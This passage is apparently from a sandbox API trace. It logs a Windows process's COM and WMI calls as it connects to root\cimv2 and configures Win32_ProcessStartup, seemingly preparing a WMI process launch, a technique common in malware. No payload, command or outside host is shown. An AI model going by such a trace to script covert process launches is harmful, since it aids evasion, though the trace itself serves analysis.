[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10da48 | out: ppv=0x1b10da48*=0x3111d8) returned 0x0 [0132.070] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10da38 | out: pAptType=0x1b10da38*=1) returned 0x0 [0132.070] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10da40 | out: ppvObject=0x1b10da40*=0x0) returned 0x80004002 [0132.071] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.071] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d108 | out: ppv=0x1b10d108*=0x1b433ad0) returned 0x0 [0132.071] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433ad0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d1f0 | out: ppvObject=0x1b10d1f0*=0x0) returned 0x80004002 [0132.071] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b433ad0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d1c8 | out: ppvObject=0x1b10d1c8*=0x1b433cd0) returned 0x0 [0132.071] WbemLocator:IUnknown:Release (This=0x1b433ad0) returned 0x0 [0132.071] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433cd0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x1b433cd0) returned 0x0 [0132.071] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433cd0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d000 | out: ppvObject=0x1b10d000*=0x0) returned 0x80004002 [0132.071] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433cd0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c7f8 | out: ppvObject=0x1b10c7f8*=0x0) returned 0x80004002 [0132.072] WbemLocator:IUnknown:AddRef (This=0x1b433cd0) returned 0x3 [0132.072] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433cd0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6b8 | out: ppvObject=0x1b10c6b8*=0x0) returned 0x80004002 [0132.072] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433cd0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c640 | out: ppvObject=0x1b10c640*=0x0) returned 0x80004002 [0132.072] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433cd0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c630 | out: ppvObject=0x1b10c630*=0x0) returned 0x80004002 [0132.072] CoGetContextToken (in: pToken=0x1b10c6e0 | out: pToken=0x1b10c6e0) returned 0x0 [0132.072] CoGetContextToken (in: pToken=0x1b10cb60 | out: pToken=0x1b10cb60) returned 0x0 [0132.072] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433cd0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc20 | out: ppvObject=0x1b10cc20*=0x0) returned 0x80004002 [0132.072] WbemLocator:IUnknown:Release (This=0x1b433cd0) returned 0x2 [0132.072] WbemLocator:IUnknown:Release (This=0x1b433cd0) returned 0x1 [0132.073] CoGetContextToken (in: pToken=0x1b10d5a0 | out: pToken=0x1b10d5a0) returned 0x0 [0132.073] CoGetContextToken (in: pToken=0x1b10d4a0 | out: pToken=0x1b10d4a0) returned 0x0 [0132.073] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433cd0, riid=0x1b10d600*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d5d0 | out: ppvObject=0x1b10d5d0*=0x1b433cd0) returned 0x0 [0132.073] WbemLocator:IUnknown:AddRef (This=0x1b433cd0) returned 0x3 [0132.073] WbemLocator:IUnknown:Release (This=0x1b433cd0) returned 0x2 [0132.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352700, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0132.073] WbemDefPath:IWbemPath:GetText (in: This=0x352700, lFlags=8, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0132.073] WbemDefPath:IWbemPath:GetText (in: This=0x352700, lFlags=8, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.073] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d720 | out: ppv=0x1b10d720*=0x1b433b90) returned 0x0 [0132.073] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b433b90, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d898 | out: ppNamespace=0x1b10d898*=0x1b3e26b0) returned 0x0 [0132.357] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e26b0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d598 | out: ppvObject=0x1b10d598*=0x1b3ddf10) returned 0x0 [0132.357] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b3ddf10, pProxy=0x1b3e26b0, pAuthnSvc=0x1b10d660, pAuthzSvc=0x1b10d5e0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4, pImpLevel=0x1b10d5f0, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4 | out: pAuthnSvc=0x1b10d660*=0xa, pAuthzSvc=0x1b10d5e0*=0x0, pServerPrincName=0x1b10d608, pAuthnLevel=0x1b10d5e4*=0x6, pImpLevel=0x1b10d5f0*=0x2, pAuthInfo=0x1b10d618, pCapabilites=0x1b10d5f4*=0x1) returned 0x0 [0132.358] WbemLocator:IUnknown:Release (This=0x1b3ddf10) returned 0x1 [0132.358] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e26b0, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x1b3ddf58) returned 0x0 [0132.358] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e26b0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b3ddf10) returned 0x0 [0132.358] WbemLocator:IClientSecurity:SetBlanket (This=0x1b3ddf10, pProxy=0x1b3e26b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0132.358] WbemLocator:IUnknown:Release (This=0x1b3ddf10) returned 0x2 [0132.358] WbemLocator:IUnknown:Release (This=0x1b3ddf58) returned 0x1 [0132.358] CoTaskMemFree (pv=0x1b421520) [0132.358] WbemLocator:IUnknown:Release (This=0x1b433b90) returned 0x0 [0132.358] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e26b0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x1b3ddf58) returned 0x0 [0132.359] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3ddf58, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d0c0 | out: ppvObject=0x1b10d0c0*=0x0) returned 0x80004002 [0132.428] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3ddf58, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0132.438] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3e26b0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c8b8 | out: ppvObject=0x1b10c8b8*=0x0) returned 0x80004002 [0132.440] WbemLocator:IUnknown:AddRef (This=0x1b3ddf58) returned 0x3 [0132.440] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3ddf58, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c778 | out: ppvObject=0x1b10c778*=0x0) returned 0x80004002 [0132.440] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3ddf58, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c700 | out: ppvObject=0x1b10c700*=0x0) returned 0x80004002 [0132.440] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3ddf58, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c6f0 | out: ppvObject=0x1b10c6f0*=0x1b3dde38) returned 0x0 [0132.440] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3dde38, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c718 | out: pCid=0x1b10c718*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.440] WbemLocator:IUnknown:Release (This=0x1b3dde38) returned 0x3 [0132.440] CoGetContextToken (in: pToken=0x1b10c7a0 | out: pToken=0x1b10c7a0) returned 0x0 [0132.440] CoGetContextToken (in: pToken=0x1b10cc20 | out: pToken=0x1b10cc20) returned 0x0 [0132.440] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3ddf58, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x1b3ddf20) returned 0x0 [0132.440] WbemLocator:IRpcOptions:Query (in: This=0x1b3ddf20, pPrx=0x1b3ddf58, dwProperty=2, pdwValue=0x1b10ccd0 | out: pdwValue=0x1b10ccd0) returned 0x80004002 [0132.441] WbemLocator:IUnknown:Release (This=0x1b3ddf20) returned 0x3 [0132.441] WbemLocator:IUnknown:Release (This=0x1b3ddf58) returned 0x2 [0132.441] CoGetContextToken (in: pToken=0x1b10d2e0 | out: pToken=0x1b10d2e0) returned 0x0 [0132.441] CoGetContextToken (in: pToken=0x1b10d1e0 | out: pToken=0x1b10d1e0) returned 0x0 [0132.441] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3ddf58, riid=0x1b10d340*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d310 | out: ppvObject=0x1b10d310*=0x1b3e26b0) returned 0x0 [0132.441] WbemLocator:IUnknown:AddRef (This=0x1b3e26b0) returned 0x4 [0132.441] WbemLocator:IUnknown:Release (This=0x1b3e26b0) returned 0x3 [0132.441] WbemLocator:IUnknown:Release (This=0x1b3e26b0) returned 0x2 [0132.441] SysStringLen (param_1=0x0) returned 0x0 [0132.441] CoGetContextToken (in: pToken=0x1b10d3b0 | out: pToken=0x1b10d3b0) returned 0x0 [0132.441] WbemLocator:IUnknown:AddRef (This=0x1b3ddf58) returned 0x3 [0132.441] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3ddf58, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d3b0 | out: ppvObject=0x1b10d3b0*=0x1b3ddf58) returned 0x0 [0132.441] WbemLocator:IUnknown:Release (This=0x1b3ddf58) returned 0x3 [0132.441] WbemLocator:IUnknown:Release (This=0x1b3ddf58) returned 0x2 [0132.442] WbemDefPath:IWbemPath:GetText (in: This=0x3521c0, lFlags=2, puBuffLength=0x1b10dab0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10dab0*=0x15, pszText=0x0) returned 0x0 [0132.442] WbemDefPath:IWbemPath:GetText (in: This=0x3521c0, lFlags=2, puBuffLength=0x1b10dab0*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10dab0*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0132.442] IWbemServices:GetObject (in: This=0x1b3e26b0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b10da30*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10da30*=0x1b441b80, ppCallResult=0x0) returned 0x0 [0132.445] IWbemClassObject:Get (in: This=0x1b441b80, wszName="__PATH", lFlags=0, pVal=0x1b10d9e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10db28*=0, plFlavor=0x1b10db20*=0 | out: pVal=0x1b10d9e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b10db28*=8, plFlavor=0x1b10db20*=64) returned 0x0 [0132.445] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0132.445] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0132.445] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9f8 | out: ppv=0x1b10d9f8*=0x3111d8) returned 0x0 [0132.446] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9e8 | out: pAptType=0x1b10d9e8*=1) returned 0x0 [0132.446] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9f0 | out: ppvObject=0x1b10d9f0*=0x0) returned 0x80004002 [0132.446] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.447] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cde8 | out: ppv=0x1b10cde8*=0x1b433b90) returned 0x0 [0132.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433b90, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ced0 | out: ppvObject=0x1b10ced0*=0x0) returned 0x80004002 [0132.447] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433b90, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cea8 | out: ppvObject=0x1b10cea8*=0x3527c0) returned 0x0 [0132.447] WbemDefPath:IUnknown:Release (This=0x1b433b90) returned 0x0 [0132.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x3527c0) returned 0x0 [0132.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cce0 | out: ppvObject=0x1b10cce0*=0x0) returned 0x80004002 [0132.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c4d8 | out: ppvObject=0x1b10c4d8*=0x0) returned 0x80004002 [0132.448] WbemDefPath:IUnknown:AddRef (This=0x3527c0) returned 0x3 [0132.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c398 | out: ppvObject=0x1b10c398*=0x0) returned 0x80004002 [0132.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c320 | out: ppvObject=0x1b10c320*=0x0) returned 0x80004002 [0132.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c310 | out: ppvObject=0x1b10c310*=0x1b433910) returned 0x0 [0132.448] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433910, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c338 | out: pCid=0x1b10c338*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.448] WbemDefPath:IUnknown:Release (This=0x1b433910) returned 0x3 [0132.448] CoGetContextToken (in: pToken=0x1b10c3c0 | out: pToken=0x1b10c3c0) returned 0x0 [0132.448] CoGetContextToken (in: pToken=0x1b10c840 | out: pToken=0x1b10c840) returned 0x0 [0132.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c900 | out: ppvObject=0x1b10c900*=0x0) returned 0x80004002 [0132.448] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x2 [0132.448] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x1 [0132.448] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0132.448] CoGetContextToken (in: pToken=0x1b10d530 | out: pToken=0x1b10d530) returned 0x0 [0132.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x1b10d690*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d660 | out: ppvObject=0x1b10d660*=0x3527c0) returned 0x0 [0132.448] WbemDefPath:IUnknown:AddRef (This=0x3527c0) returned 0x3 [0132.448] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x2 [0132.448] WbemDefPath:IWbemPath:SetText (This=0x3527c0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0132.449] IWbemClassObject:Get (in: This=0x1b441b80, wszName="CreateFlags", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd6038*=0, plFlavor=0x2cd603c*=0 | out: pVal=0x1b10da60*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd6038*=19, plFlavor=0x2cd603c*=0) returned 0x0 [0132.449] IWbemClassObject:Get (in: This=0x1b441b80, wszName="CreateFlags", lFlags=0, pVal=0x1b10da50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd6038*=19, plFlavor=0x2cd603c*=0 | out: pVal=0x1b10da50*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2cd6038*=19, plFlavor=0x2cd603c*=0) returned 0x0 [0132.449] IWbemClassObject:Put (This=0x1b441b80, wszName="CreateFlags", lFlags=0, pVal=0x1b10dab0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0132.449] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351440, puCount=0x1b10da18 | out: puCount=0x1b10da18*=0x0) returned 0x0 [0132.449] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0132.449] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0132.449] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.449] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d928 | out: ppv=0x1b10d928*=0x3111d8) returned 0x0 [0132.449] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d918 | out: pAptType=0x1b10d918*=1) returned 0x0 [0132.450] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d920 | out: ppvObject=0x1b10d920*=0x0) returned 0x80004002 [0132.450] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.450] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd18 | out: ppv=0x1b10cd18*=0x1b433d30) returned 0x0 [0132.450] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433d30, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce00 | out: 